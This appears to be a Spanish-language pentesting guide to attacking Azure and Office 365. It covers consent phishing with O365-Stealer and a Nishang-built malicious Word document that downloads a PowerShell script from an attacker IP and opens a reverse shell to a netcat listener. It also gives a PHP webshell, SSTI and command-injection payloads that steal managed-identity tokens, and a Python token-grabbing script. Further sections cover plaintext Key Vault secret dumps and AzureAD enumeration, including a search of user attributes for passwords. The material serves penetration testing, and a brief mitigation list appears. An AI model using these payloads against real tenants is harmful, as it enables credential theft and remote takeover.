La herramienta genera una URL que será utilizada para el ataque de *phishing*.

Esta URL puede ser enviada, por ejemplo:

* Enviando un email a la víctima.
* Enviando la URL a través de un formulario.
* Explotando un XSS almacenado.
* Etc.

Una vez que la víctima pique en el anzuelo, obtendremos los *tokens* de acceso, correos, acceso a OneDrive, etc.

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FFEI7cxqrzo6Kxd9ZdYea%2Fimage.png?alt=media&amp;token=42596a61-a970-4607-a5e8-b6ac02d3a0c9" alt=""><figcaption><p>Credenciales obtenidas</p></figcaption></figure>

Desde el panel de O365-Stealer, podremos obtener la información en ficheros, subir ficheros a OneDrive, crear reglas en Outlook, etc.

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FmBXbLo9hoggjTX0wp2PK%2Fimage.png?alt=media&amp;token=e05fe69c-ec5d-424d-9114-00fe14d8ec05" alt="" width="375"><figcaption><p>información obtenida</p></figcaption></figure>

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2F7ajUPdDtB9RdxkbI8pvU%2Fimage.png?alt=media&amp;token=f0cf7799-49a8-4f3a-be4b-1e7aeb03946c" alt=""><figcaption><p>Acciones</p></figcaption></figure>

#### <mark style="color:purple;">>> Creación de un fichero doc malicioso</mark>

Con el siguiente *script* es posible insertar código malicioso en un fichero `.doc`:

<https://github.com/samratashok/nishang/blob/master/Client/Out-Word.ps1>

{% code overflow="wrap" %}

```powershell
Out-Word -Payload "powershell iex (New-Object Net.Webclient).downloadstring('http://<IP>/Invoke-PowerShellTcp.ps1');Power -Reverse -IPAddress <IP> -Port <Puerto>" -OutputFile evildoc.doc
```

{% endcode %}

Siendo por ejemplo la IP del atacante `10.0.0.10` con el puerto `80` que cuenta con un servicio web que sirve el fichero `Invoke-PowerShellTcp.ps1` y el puerto `443` que se encuentra a la escucha con netcat:

{% code overflow="wrap" %}

```powershell
Out-Word -Payload "powershell iex (New-Object Net.Webclient).downloadstring('http://10.0.0.10:80/Invoke-PowerShellTcp.ps1');Power -Reverse -IPAddress 10.0.0.10 -Port 443" -OutputFile evildoc.doc
```

{% endcode %}

Se pone el puerto 443 a la escucha en la máquina del atacante `10.0.0.10`:

```
C:\Pentest\Tools\netcat\nc.exe -lvp 443
```

#### <mark style="color:purple;">>> Subida de un fichero doc malicioso a OneDrive</mark>

Desde el panel de acciones se puede subir un fichero **.doc** malicioso a One Drive y esperar hasta obtener la *reverse shell.*

### <mark style="color:green;">> Mitigación</mark>

* Desactivar el consentimiento para usuarios no administradores.
* Auditar las aplicaciones consentidas en Azure AD: `Enterprise Applications > Permissions`.
* Implementar *Admin Consent Workflow*.
* Usar *Conditional Access Policies* para restringir accesos desde apps desconocidas.
* Revisar logs en Azure (AuditLogs, SignIns).


# Ataques a aplicaciones web

### <mark style="color:red;">Subida de ficheros insegura</mark>

Si nos encontramos con una aplicación que permite la subida de ficheros sin restricción, podríamos subir una *webshell* que nos permita ejecutar comandos en el sistema e identificar si la aplicación tiene una identidad administrada (*managed identity*).

Una aplicación tiene una identidad administrada si contiene en sus variables de entorno (`env`):

```
IDENTITY_HEADER
IDENTITY_ENDPOINT
```

Si se quiere obtener un token de acceso para la identidad administrada se puede realizar lo siguiente:

```
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
```

#### Webshell de PHP

* Webshell básica: <https://victima.com/shell.php?cmd=env>

```php
<?php 
system($_REQUEST['cmd']);
?>
```

* Token de acceso: <https://victima.com/gettoken.php>

```php
<?php 
system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');
?>
```

Se obtendría un token de acceso como el siguiente:

{% code overflow="wrap" %}

```
{"access_token":"<JWT>","expires_on":"05/17/2024 06:26:47 +00:00","resource":"https://management.azure.com/","token_type":"Bearer","client_id":"064aaf53-30af-41f0-841a-0e21ed149936"}
```

{% endcode %}

#### Conexión y enumeración con token de acceso

Es posible conectarse con Az Powershell haciendo uso del *<mark style="color:red;">access\_token</mark>* y *<mark style="color:red;">client\_id</mark>*:

[Az Powershell](/pentesting-en-infraestructuras/cloud/azure/metodologia-de-azure-pentest/reconocimiento-interno/enum-con-herramientas-de-ms/az-powershell#token-conexion-con-token)

Para obtener las subscripciones y sus <mark style="color:red;">**subscriptionId**</mark> se puede utilizar el siguiente script ([AzureRA](#microsoft-graph-powershell-overview-3)) usando el token de acceso (*<mark style="color:red;">access\_token</mark>*) anterior:

{% code overflow="wrap" %}

```powershell
Get-RA-Subscriptions -AccessToken '<TOKEN JWT>'
```

{% endcode %}

Para obtener la lista de recursos se utiliza el siguiente script ([AzureRA](#microsoft-graph-powershell-overview-3))  con el mismo token de acceso y el <mark style="color:red;">**subscriptionId**</mark> de la suscripción de la cuál queramos obtener los recursos:

{% code overflow="wrap" %}

```
Get-ResourcesBySubscriptions.ps1 -AccessToken '<TOKEN JWT>' -SubscriptionID '<Subscription ID>'
```

{% endcode %}

Si se quiere consultar los permisos de un recurso, se puede utilizar el siguiente script ([AzureRA](#microsoft-graph-powershell-overview-3)) con el mismo token de acceso y la ruta del recurso:

```powershell
Get-RA-RoleAssignment -AccessToken '<TOKEN JWT>' -ResourcePath '<Resource path>'
```

Por ejemplo:

{% code overflow="wrap" %}

```powershell
Get-RA-RoleAssignment -AccessToken $accesstoken -ResourcePath '/subscriptions/b413326f-108d-40179-8c11-d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/bkpadconnect'
```

{% endcode %}

### <mark style="color:red;">SSTI - Server Side Template Injection</mark>

Si contamos con una entrada vulnerable a inyección de plantillas:

```
{{7*7}}
```

Para averiguar de cuál tipo de *engine* se trata se pueden buscar claves de configuración en el buscador para identificarlo.

```
{{config.items()}}
```

```
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
```

#### Obtención de variables de entorno de identidad administrada

Sustituyendo el comando por `env` para obtener las variables de entorno:

```
{{config.__class__.__init__.__globals__['os'].popen('env').read()}}
```

Con el siguiente comando se puede obtener el token de acceso usando las variables de entorno:

{% code overflow="wrap" %}

```
{{config.__class__.__init__.__globals__['os'].popen('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER').read()}}
```

{% endcode %}

Para conectarse usando el token de acceso: [Az Powershell](/pentesting-en-infraestructuras/cloud/azure/metodologia-de-azure-pentest/reconocimiento-interno/enum-con-herramientas-de-ms/az-powershell#token-conexion-con-token)

### <mark style="color:red;">Inyección de comandos</mark>

Si contamos con una entrada vulnerable a inyección de comandos, podríamos obtener las variables de entorno y usarlas para obtener un token de acceso que nos permita posteriormente acceder:

* Para obtener las variables de entorno:

```bash
env
```

* Para obtener un token de acceso:

{% code overflow="wrap" %}

```bash
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
```

{% endcode %}

* Si no es posible realizar esto desde el punto de inyección de comandos, se podría crear un fichero python y ejecutarlo en el sistema para obtener los tokens de acceso:

```python
import os
import json
import subprocess

def get_token(resource):
    cmd = f'curl "{os.environ["IDENTITY_ENDPOINT"]}?resource={resource}&api-version=2017-09-01" -H secret:{os.environ["IDENTITY_HEADER"]}'
    return json.loads(subprocess.check_output(cmd, shell=True))

def print_token_info(api_name, token_info):
    print(f"[+] {api_name} API")
    print(f"Access Token: {token_info['access_token']}")
    print(f"ClientID: {token_info['client_id']}\n")

for api, resource in [("Management", "https://management.azure.com/"), ("Graph", "https://graph.microsoft.com/")]:
    token_info = get_token(resource)
    print_token_info(api, token_info)
```


# Acceso anónimo

<mark style="color:red;">Storage Accounts / Cuentas de almacenamiento</mark>

Las cuentas de almacenamiento (*Storage Accounts*) cuentan con tres niveles de acceso:

<table><thead><tr><th width="160.33333333333331">Tipo de acceso</th><th width="177">Permisos</th><th>Descripción</th></tr></thead><tbody><tr><td>Private</td><td>Sin acceso público de lectura</td><td>Requiere autorización de acceso al contenedor y sus blobs. Es la opción predeterminada de los nuevos contenedores.</td></tr><tr><td>Blob</td><td>Acceso público de lectura sólo para blobs</td><td>Es posible acceder al contenedor de forma anónima, pero no es posible acceder a los datos sin autorización.</td></tr><tr><td>Container</td><td>Acceso público de lectura para el contenedor y sus blobs</td><td>Es posible acceder al contenedor y sus blobs de forma anónima, pero no se puede acceder a la configuración de permisos ni metadatos del contenedor.</td></tr></tbody></table>

Ejemplo de una cuenta de almacenamiento:

```
http://<storage-account>.blob.core.windows.net/<container-name>/<file-name>
```

Se pueden enumerar los Blobs disponibles con la herramienta [*MicroBurst*](/pentesting-en-infraestructuras/cloud/azure/herramientas#microbust):

```powershell
. C:\AzAD\Tools\MicroBurst\Misc\Invoke-EnumerateAzureBlobs.ps1
```

También se pueden enumerar los Blobs con:

* BlobHunter: <https://github.com/cyberark/BlobHunter>

Para enumerar las cuentas de almacenamiento:

```powershell
az storage account list
```

Para comprobar si un contenedor cuenta con acceso anónimo:

<https://learn.microsoft.com/en-us/azure/storage/blobs/anonymous-read-access-configure?tabs=powershell#check-the-anonymous-access-setting-for-a-set-of-containers>

{% code overflow="wrap" %}

```powershell
$rgName = "<resource-group>"
$accountName = "<storage-account>"
$storageAccount = Get-AzStorageAccount -ResourceGroupName $rgName -Name $accountName
$ctx = $storageAccount.Context
Get-AzStorageContainer -Context $ctx | Select Name, PublicAccess
```

{% endcode %}

Con la herramienta *Azure Storage* se puede realizar la conexión de forma cómoda y fiable (vía web no siempre se puede acceder correctamente):

{% embed url="<https://azure.microsoft.com/es-es/products/storage/storage-explorer>" %}

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FdBni5Qb0OBQy7BRMLwJJ%2Fimage.png?alt=media&amp;token=1794414b-c1b4-4351-8fbe-e579bfedc6ce" alt=""><figcaption></figcaption></figure>

Para configurar el acceso anónimo, se pueden seguir las indicaciones que se encuentran en la página oficial de Microsoft: <https://learn.microsoft.com/en-us/azure/storage/blobs/anonymous-read-access-configure?tabs=portal#set-the-public-access-level-for-a-container>

### <mark style="color:red;">Key Vaults / Almacenes de claves</mark>

Si el los Key Vaults cuentan con acceso anónimo, podría llegar a accederse a la información confidencial que almacenan, como: secretos, credenciales, etc.

* Obtener KeyVault:

```powershell
Get-AzKeyVault
```

* Mostrar información de un KeyVault:

```powershell
Get-AzKeyVaultSecret -VaultName ResearchKeyVault
```

* Obtener credenciales en texto plano:

```powershell
Get-AzKeyVaultSecret -VaultName ResearchKeyVault -Name Reader –AsPlainText
```

Posteriormente podríamos intentar iniciar sesión en el servicio, cuenta, sistema, etc. del cuál hayamos obtenido credenciales.

Por ejemplo:

* Si se trata de una cuenta de Azure:

```powershell
$password = ConvertTo-SecureString '<contraseña>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('<email>', $password)
Connect-AzAccount -Credential $creds
```


# Roles con permisos excesivos

Si un rol cuenta con permisos de lectura en recursos que cuentan con claves secretas o información sensible. Se podría obtener dicha información realizando una petición que obtenga la información de los parámetros sobre recursos donde se tengan más permisos de los necesarios.

* Obtener los recursos:

```powershell
Get-AzResource
```

* Obtener los roles asignados a un recurso:

{% code overflow="wrap" %}

```powershell
Get-AzRoleAssignment -Scope '/subscriptions/b414826f-108d-4045-8c11-d52d5d388738/resourceGroups/RESEARCH/providers/Microsoft.Compute/virtualMachines/vmtest'
```

{% endcode %}

* De los roles obtenidos, se pueden visualizar las acciones permitidas:

```powershell
Get-AzRoleDefinition -Name "Virtual Machine Execute Commands"
```


# Credenciales expuestas

Si en los campos se utiliza un tipo de campo que no oculte la información. Esta información puede verse expuesta y accesible a terceros no autorizados.

Para evitar esta situación se deberían utilizar los campos *SecureString* o *SecureObject* que permite ocultar esta información a usuarios no autorizados.

### Código fuente de aplicaciones lógicas

En el código fuente de aplicaciones podrían haber credenciales en texto plano.

Para evitar exponer estas credenciales en el código, es mejor hacer uso de *Azure Key Vaults*.


# Restricción de acceso insuficiente en Azure EntraID

Si se cuenta con acceso a la API MSGraph, es posible realizar consultas directamente contra la API con el fin de obtener la lista completa de usuarios, grupos, roles asignados, etc.

* Obtener token de graph: [Az Powershell](/pentesting-en-infraestructuras/cloud/azure/metodologia-de-azure-pentest/reconocimiento-interno/enum-con-herramientas-de-ms/az-powershell#graph-api)


# Reconocimiento interno

### <mark style="color:purple;">\[ + ] Con credenciales</mark>

### <mark style="background-color:purple;">> AzureAD</mark>

{% content-ref url="/pages/1V7K8MW53N3XU5zCKchm" %}
[AzureAD](/pentesting-en-infraestructuras/cloud/azure/metodologia-de-azure-pentest/reconocimiento-interno/enum-con-herramientas-de-ms/azuread)
{% endcontent-ref %}

### <mark style="background-color:purple;">> Az PowerShell</mark>

{% content-ref url="/pages/QK2HmkujZ9HCnnFBQMHN" %}
[Az Powershell](/pentesting-en-infraestructuras/cloud/azure/metodologia-de-azure-pentest/reconocimiento-interno/enum-con-herramientas-de-ms/az-powershell)
{% endcontent-ref %}

### <mark style="background-color:purple;">> Az Cli</mark>

{% content-ref url="/pages/SvLXnKt2fCINMMTcKT4W" %}
[Az Cli](/pentesting-en-infraestructuras/cloud/azure/metodologia-de-azure-pentest/reconocimiento-interno/enum-con-herramientas-de-ms/az-cli)
{% endcontent-ref %}

### <mark style="background-color:purple;">></mark> [<mark style="background-color:purple;">Microsoft Graph Powershell</mark>](#microsoft-graph-powershell-overview-3)

### <mark style="color:purple;">Línea de comandos</mark>

#### Con credenciales

```powershell
Connect-MgGraph
Connect-MgGraph -Scopes "User.Read.All", "Group.ReadWrite.All"
```

#### Con código de dispositivo

{% code overflow="wrap" %}

```powershell
Connect-MgGraph -Scopes "User.Read.All", "Group.ReadWrite.All" -UseDeviceAuthentication
```

{% endcode %}

### <mark style="background-color:purple;">></mark> [<mark style="background-color:purple;">ROADTools</mark>](#roadtools)

* Iniciar sesión:

```
roadrecon auth -u <email> -p <contraseña>
```

* Obtener toda la información que puede leer el usuario actual:

```
roadrecon gather
```

* Iniciar la interfaz gráfica:

```
roadrecon gui
```

{% hint style="info" %}
El servidor web se ejecutará en la URL: <http://127.0.0.1:5000>
{% endhint %}

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FyH6ePZ6n0j6DCyTJxPAS%2Fimagen.png?alt=media&amp;token=b3d6f623-f26f-436d-a9bf-84ecee931ace" alt=""><figcaption><p>ROADrecon</p></figcaption></figure>

* Obtención de políticas de accesos condicionales:

```powershell
roadrecon plugin policies
```

{% hint style="info" %}
Se genera un fichero llamado caps.html con la información.
{% endhint %}

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FH28DQiB6JLOAhvkZ4SYB%2Fimagen.png?alt=media&amp;token=a4a843fe-71c0-4cd3-855f-47afabfb9a9f" alt="" width="375"><figcaption><p>Polííticas de acceso condicionales</p></figcaption></figure>

### ScoutSuite

* Se [inicia sesión con az cli:](/pentesting-en-infraestructuras/cloud/azure/metodologia-de-azure-pentest/reconocimiento-interno/enum-con-herramientas-de-ms/az-cli#conexion)

```
az login
```

* Se ejecuta el siguiente comando:

```powershell
python scout.py azure --cli
```

### <mark style="background-color:purple;">></mark> [<mark style="background-color:purple;">StormPotter</mark>](#stormpotter)

Ejecución de StormPotter:

```
cd C:\Pentest\Tools\stormspotter\stormcollector\
pipenv shell
az login -u <email> -p <contraseña>
python C:\Pentest\Tools\stormspotter\stormcollector\sscollector.pyz cli
```

Acceso a la web: <http://localhost:9091/>

{% hint style="info" %}
Credenciales por defecto:&#x20;

* Usuario: neo4j
* Contraseña: password
  {% endhint %}

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FghUXYinTzuZwmcThWBa6%2Fimagen.png?alt=media&amp;token=cb5618ca-0e70-44c9-8da6-2bd4df74bd2c" alt=""><figcaption></figcaption></figure>

La información reconectada se encuentra en un ZIP dentro de la carpeta de `C:\Pentest\Tools\stormspotter\stormcollector`.

Para visualizar la información se pueden utilizar las consultas por defecto de la sección "Queries" o crear unas propias.

* Por ejemplo, para obtener todos los administradores:

```
MATCH (a:AADRole)<-[r:MemberOf]-(t) WHERE a.name = 'Company Administrator' RETURN *
```

### <mark style="color:purple;">\[ + ] Con token</mark>

### <mark style="background-color:purple;">></mark> [<mark style="background-color:purple;">AzureRA</mark>](#microsoft-graph-powershell-overview)

Esta herramienta contiene un conjunto de funciones que realizan peticiones contra Azure REST API de Microsoft.

<https://github.com/xtormin/PowerPentest/tree/main/Azure/AzureRA>

* Realizar una petición GET contra el recurso que se desee usando un token de acceso y la URL de la consulta que se quiera realizar:

{% code overflow="wrap" %}

```powershell
Get-RA-RequestAPI -AccessToken $AccessToken -URI '<URL>'
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Get-RA-RequestAPI -AccessToken $AccessToken -URI 'https://management.azure.com/subscriptions?api-version=2020-01-01'
```

{% endcode %}

* Obtener suscripciones:

```powershell
Get-RA-Subscriptions -AccessToken $AccessToken
```

* Obtener los recursos de una suscripción por su ID:

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell"><strong>Get-RA-ResourcesBySubscriptionID -AccessToken $AccessToken -SubscriptionID '&#x3C;ID de suscripción>'
</strong></code></pre>

* Obtener roles asociados a un recurso:

{% code overflow="wrap" %}

```powershell
Get-RA-RoleAssignment -AccessToken $AccessToken -ResourcePath '<Resource path>'
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Get-RA-RoleAssignment -AccessToken $AccessToken -ResourcePath '/subscriptions/b413826f-108d-4049-8c11-d52d5d348768/resourceGroups/Test/providers/Microsoft.Compute/virtualMachines/infraadmin'
```

{% endcode %}

* Obtener un *nonce*:

```powershell
Get-RA-RequestNonce -TenantID '<Tenant ID>'
```


# Enum con herramientas de MS


# AzureAD

Permite administrar Azure AD. Los módulos de PowerShell de Azure AD y MSOnline están en desuso a partir del 30 de marzo de 2024. La opción alternativa y actualizada es Microsoft Graph PowerShell.

## <mark style="color:red;">Instalación</mark>

### AzureAD

```powershell
Install-Module AzureAD

```

```powershell
Import-Module C:\Pentest\Tools\AzureAD\AzureAD.psd1
```

### AzureADPreview

```powershell
Install-Module AzureADPreview
```

## <mark style="color:red;">Conexión</mark>

Una vez se hayan obtenido credenciales válidas, se podría utilizar la herramienta de AzureAD para conectarse al Tenant y enumerar información haciendo uso de la sesión del usuario.

### <mark style="color:purple;">Popup</mark>

```powershell
Connect-AzureAD
```

```powershell
Account                      Environment TenantId                             TenantDomain AccountType
-------                      ----------- --------                             ------------ -----------
xtormin@xtormincorp.com      AzureCloud  11081700-e4e1-4313-bf78-41fae513bbe6 xtormincorp.com  User
```

### <mark style="color:purple;">Línea de comandos</mark>

```powershell
$passwd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("<email>", $passwd)
Connect-AzureAD -Credential $creds
```

## <mark style="color:red;">Token</mark>

* Conexión con información del access token, tenantId y accountId:

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell"><strong>Connect-AzureAD -AadAccessToken &#x3C;JWT> -TenantId "1d50cb29-5f5b-48a4-87ce-fe75a941adb6" -AccountId "f66e433c-bd01-4b0b-b3b7-7cd749fd45f3"
</strong></code></pre>

## <mark style="color:red;">Información general</mark>

### <mark style="color:purple;">Sesión actual</mark>

```powershell
Get-AzureADCurrentSessionInfo
```

```powershell
Account                      Environment TenantId                             TenantDomain AccountType
-------                      ----------- --------                             ------------ -----------
xtormin@xtormincorp.com      AzureCloud  11081700-e4e1-4313-bf78-41fae513bbe6 xtormincorp.com  User
```

### <mark style="color:purple;">Tenant</mark>

<pre class="language-powershell"><code class="lang-powershell"><strong>Get-AzureADTenantDetail
</strong></code></pre>

```powershell
ObjectId                             DisplayName            VerifiedDomain
--------                             -----------            --------------
11081700-e4e1-4313-bf78-41fae513bbe6 Xtormin Corp.          xtormincorp.com
```

## <mark style="color:red;">Usuarios</mark>

* **Todos los usuarios:**

```powershell
Get-AzureADUser -All $true
```

```powershell
ObjectId                             DisplayName               UserPrincipalName            UserType
--------                             -----------               -----------------            --------
04ee91f2-4cd2-456c-b546-9f6401b08de4 Jennifer Torres           xtormin@xtormincorp.com      Member
[...]
```

* **Un usuario en concreto:**

```powershell
Get-AzureADUser -ObjectId xtormin@xtormincorp.com
```

* **Buscar todos los usuarios que contengan la cadena "admin" en el&#x20;*****DisplayName*****:**

```powershell
Get-AzureADUser -All $true | ?{$_.Displayname -match "admin"}
```

* **Obtener todos los atributos de un usuario:**

```powershell
Get-AzureADUser -ObjectId xtormin@xtormincorp.com | fl *
```

* **Listado de atributos del usuario:**

```powershell
Get-AzureADUser -ObjectId xtormin@xtormincorp.com | %{$_.PSObject.Properties.Name}
```

* **Buscar los atributos de los usuarios que contengan la cadena "password":**

{% code overflow="wrap" %}

```powershell
Get-AzureADUser -All $true | %{$Properties = $_;$Properties.PSObject.Properties.Name | % {if ($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}}
```

{% endcode %}

* **Todos los usuarios que se han sincronizado desde un AD on-premise:** Es útil para obtener la lista de usuarios principales de la organización ya que no muestra los usuarios externos.

{% code overflow="wrap" %}

```powershell
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
```

{% endcode %}

* **Todos los usuarios de AzureAD:** Es útil para obtener una lista con los usuarios creados en AzureAD y obtener los usuarios externos.

```powershell
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
```

* Lista de todos los objetos creados por los todos usuarios:

```powershell
Get-AzureADUser | Get-AzureADUserCreatedObject
```

* Lista de todos los objetos creados por un usuario:

```powershell
Get-AzureADUserOwnedObject -ObjectId
```

## <mark style="color:red;">Grupos</mark>

* Todos los grupos:

```powershell
Get-AzureADGroup -All $true
```

* Detalles de un grupo en concreto:

```powershell
Get-AzureADGroup -ObjectId 7c63dd47-91ed-45c4-9081-427ad616347f
```

* Buscar grupos que empiecen por una cadena (por ejemplo: admin):

```powershell
Get-AzureADGroup -SearchString "admin" | fl *
```

* Buscar grupos que contengan una cadena (por ejemplo: admin):

```powershell
Get-AzureADGroup -All $true |?{$_.Displayname -match "admin"}
```

* Buscar grupos que permitan "DynamicMembership":

```powershell
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
```

* Todos los grupos que se han sincronizado desde on-prem:

```powershell
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
```

* Todos los grupos de AzureAD:

```powershell
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
```

* Obtener los miembros de un grupo:

```powershell
Get-AzureADGroupMember -ObjectId 7c63dd47-98ed-45c4-9081-427ad616347f
```

* Obtener grupos y roles donde el usuario es miembro:

```powershell
Get-AzureADUser -SearchString 'test' | Get-AzureADUserMembership

Get-AzureADUserMembership -ObjectId xtormin@xtormincorp.onmicrosoft.com
```

## <mark style="color:red;">Roles</mark>

* Obtener todas las plantillas de roles disponibles:

```powershell
Get-AzureADDirectoryroleTemplate
```

* Obtener todos los roles habilitados (han sido asignados al menos a un usuario):

```powershell
Get-AzureADDirectoryRole
```

* Obtener usuarios asignados a un rol:

{% code overflow="wrap" %}

```powershell
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
```

{% endcode %}

## <mark style="color:red;">Dispositivos</mark>

* Obtener todos los dispositivos registrados y unidos a azure:

```powershell
Get-AzureADDevice -All $true | fl *
```

* Obtener el objeto de configuración de dispositivos:

```powershell
Get-AzureADDeviceConfiguration | fl *
```

* Obtener todos los dispositivos activos:

```powershell
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
```

* Obtener los propietarios registrados:

{% code overflow="wrap" %}

```powershell
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner

Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
```

{% endcode %}

* Obtener los usuarios registrados:

{% code overflow="wrap" %}

```powershell
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser

Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
```

{% endcode %}

* Dispositivos propiedad de un usuario:

```powershell
Get-AzureADUserOwnedDevice -ObjectId xtormin@xtormincorp.onmicrosoft.com
```

* Dispositivos registrados por un usuario:

```powershell
Get-AzureADUserRegisteredDevice -ObjectId xtormin@xtormincorp.onmicrosoft.com
```

* Dispositivos administrados por Intune:

```powershell
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
```

## <mark style="color:red;">Aplicaciones</mark>

* Obtener todos los objetos de aplicaciones registradas en el tenant actual:

```powershell
Get-AzureADApplication -All $true
```

* Obtener los detalles de una aplicación:

```powershell
Get-AzureADApplication -ObjectId fa656d62-b53a-431d-b40c-b0a8757892d2 | fl *
```

* Obtener una aplicación según su "Display Name":

```powershell
Get-AzureADApplication -All $true | ?{$_.DisplayName -match "app"}
```

* Obtener las aplicaciones que cuentan con contraseña:

{% code overflow="wrap" %}

```powershell
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
```

{% endcode %}

* Obtener el owner de una aplicación:

{% code overflow="wrap" %}

```powershell
Get-AzureADApplication -ObjectId fa656d61-b55a-431d-b44c-b0a8658897d2 | Get-AzureADApplicationOwner |fl *
```

{% endcode %}

* Obtener las aplicaciones donde el usuario tiene un rol asignado:

{% code overflow="wrap" %}

```powershell
Get-AzureADUser -ObjectId xtormin@xtormincorp.onmicrosoft.com | Get-AzureADUserAppRoleAssignment | fl *
```

{% endcode %}

* Obtener las aplicaciones donde un grupo tiene un rol asignado:

{% code overflow="wrap" %}

```powershell
Get-AzureADGroup -ObjectId 54787e13-4374-4b05-85a1-5cfe4b3ddc98 | Get-AzureADGroupAppRoleAssignment | fl *
```

{% endcode %}

## *<mark style="color:red;">Service Principals</mark>*

{% hint style="info" %}
"Service principal" es la representación local para una aplicación en un tenant específico y es el objeto de seguridad que tiene privilegios. Se trata de la «cuenta servicio».
{% endhint %}

* Obtener todos los *Service Principals*:

```powershell
Get-AzureADServicePrincipal -All $true
```

* Obtener todos los detalles de un *Service Principal*:

```powershell
Get-AzureADServicePrincipal -ObjectId ff2612c5-7168-4fed-b571-2f7c5c31b066 | fl *
```

* Obtener todos los detalles según su *Display Name*:

```powershell
Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -match "app"}
```

* Obtener todos los Service Principals que requieren contraseña:

{% code overflow="wrap" %}

```powershell
Get-AzureADServicePrincipal -All $true | %{if(Get-AzureADServicePrincipalKeyCredential -ObjectID $_.ObjectID){$_}}
```

{% endcode %}

* Obtener propietario de un Service Principal:

{% code overflow="wrap" %}

```powershell
Get-AzureADServicePrincipal -ObjectId 60a70e2b-c1bd-453b-928e-f7398ebe3660 | Get-AzureADServicePrincipalOwner |fl *
```

{% endcode %}

* Obtener los objetos que son propietarios de un Service Principal:

{% code overflow="wrap" %}

```powershell
Get-AzureADServicePrincipal -ObjectId ff1601c6-7368-7fed-b672-2f7c5c31b066 | Get-AzureADServicePrincipalOwnedObject
```

{% endcode %}

* Objetos creados por un Service Principal:

{% code overflow="wrap" %}

```powershell
Get-AzureADServicePrincipal -ObjectId f5ac063d-7ddc-3e7c-aabc-f135b00a972c | Get-AzureADServicePrincipalCreatedObject
```

{% endcode %}

* Obtener grupo y roles de un Service Principal:

{% code overflow="wrap" %}

```powershell
Get-AzureADServicePrincipal -ObjectId f4ac083d-7ddc-3e7c-aabc-f231b00a972c | Get-AzureADServicePrincipalMembership |fl *
```

{% endcode %}


# Az Powershell

El módulo Az de PowerShell es un conjunto de cmdlets para administrar los recursos de Azure directamente desde PowerShell.

## <mark style="color:$primary;">Instalación</mark>

### Az PowerShell

```powershell
Install-Module Az
```

## <mark style="color:$primary;">Conexión</mark>

Una vez se hayan obtenido credenciales válidas, se podría utilizar la herramienta de Az PowerShell para conectarse al tenant y enumerar Azure AD y recursos (Azure Resources).

### Popup

```powershell
Connect-AzAccount
```

```powershell
Account                      SubscriptionName TenantId                             Environment
-------                      ---------------- --------                             -----------
xtormin@xtormincorp.com                       10081781-e4e1-4302-bf67-43fae511bbe4 AzureCloud
```

### Línea de comandos con credenciales

{% code overflow="wrap" %}

```powershell
$passwd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("<email>", $passwd)
Connect-AzAccount -Credential $creds
```

{% endcode %}

### Línea de comandos con secreto de servicio principal

{% code overflow="wrap" %}

```powershell
$passwd = ConvertTo-SecureString "<secret>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("<App ID>", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant <Tenant ID>
```

{% endcode %}

### Conexión con token

